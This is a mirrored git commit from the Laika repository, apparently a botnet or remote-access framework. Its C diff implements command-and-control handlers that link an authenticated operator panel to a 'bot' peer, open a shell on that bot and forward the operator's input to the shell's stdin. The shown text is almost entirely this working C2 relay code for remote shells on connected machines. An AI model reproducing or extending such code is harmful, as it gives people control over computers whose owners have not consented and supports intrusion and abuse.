mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
Implemented laikaC_handleAuthenticatedShellData & laikaC_handleAuthenticatedShellOpen
This commit is contained in:
parent
8438378560
commit
2d8e9ed106
@ -67,17 +67,44 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
struct sLaika_cnc *cnc = aInfo->info.cnc;
|
||||
struct sLaika_peer *peer;
|
||||
|
||||
/* sanity check, make sure shell isn't already open */
|
||||
if (aInfo->shellBot)
|
||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Shell already open!\n");
|
||||
|
||||
/* read pubkey & find peer */
|
||||
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
|
||||
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
|
||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
|
||||
|
||||
if (peer->type != PEER_BOT)
|
||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
|
||||
|
||||
/* link shells */
|
||||
aInfo->shellBot = peer;
|
||||
((struct sLaika_botInfo*)(peer->uData))->shellAuth = authPeer;
|
||||
|
||||
/* forward the request to open a shell */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
|
||||
}
|
||||
|
||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
|
||||
struct sLaika_cnc *cnc = aInfo->info.cnc;
|
||||
struct sLaika_peer *peer;
|
||||
|
||||
/* sanity check, make sure shell is open */
|
||||
if ((peer = aInfo->shellBot) == NULL)
|
||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Not shell open!\n");
|
||||
|
||||
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n");
|
||||
|
||||
/* read data */
|
||||
laikaS_read(&authPeer->sock, data, sz);
|
||||
|
||||
/* forward data to peer */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_write(&peer->sock, data, sz);
|
||||
laikaS_endVarPacket(peer);
|
||||
}
|
@ -11,8 +11,6 @@
|
||||
#define LAIKA_HOSTNAME_LEN 64
|
||||
#define LAIKA_IPV4_LEN 16
|
||||
|
||||
/* max number of concurrent shells per peer */
|
||||
#define LAIKA_MAX_SHELLS 16
|
||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
|
||||
|
||||
/* first handshake between peer & cnc works as so:
|
||||
@ -89,11 +87,9 @@ enum {
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_RES, /* panel requesting cnc open a shell on bot */
|
||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint16_t shellID; -- shell id of shell opened on bot
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint16_t shellID;
|
||||
* char buf[VAR_PACKET_LENGTH];
|
||||
*/
|
||||
LAIKAPKT_MAXNONE
|
||||
|
Loading…
Reference in New Issue
Block a user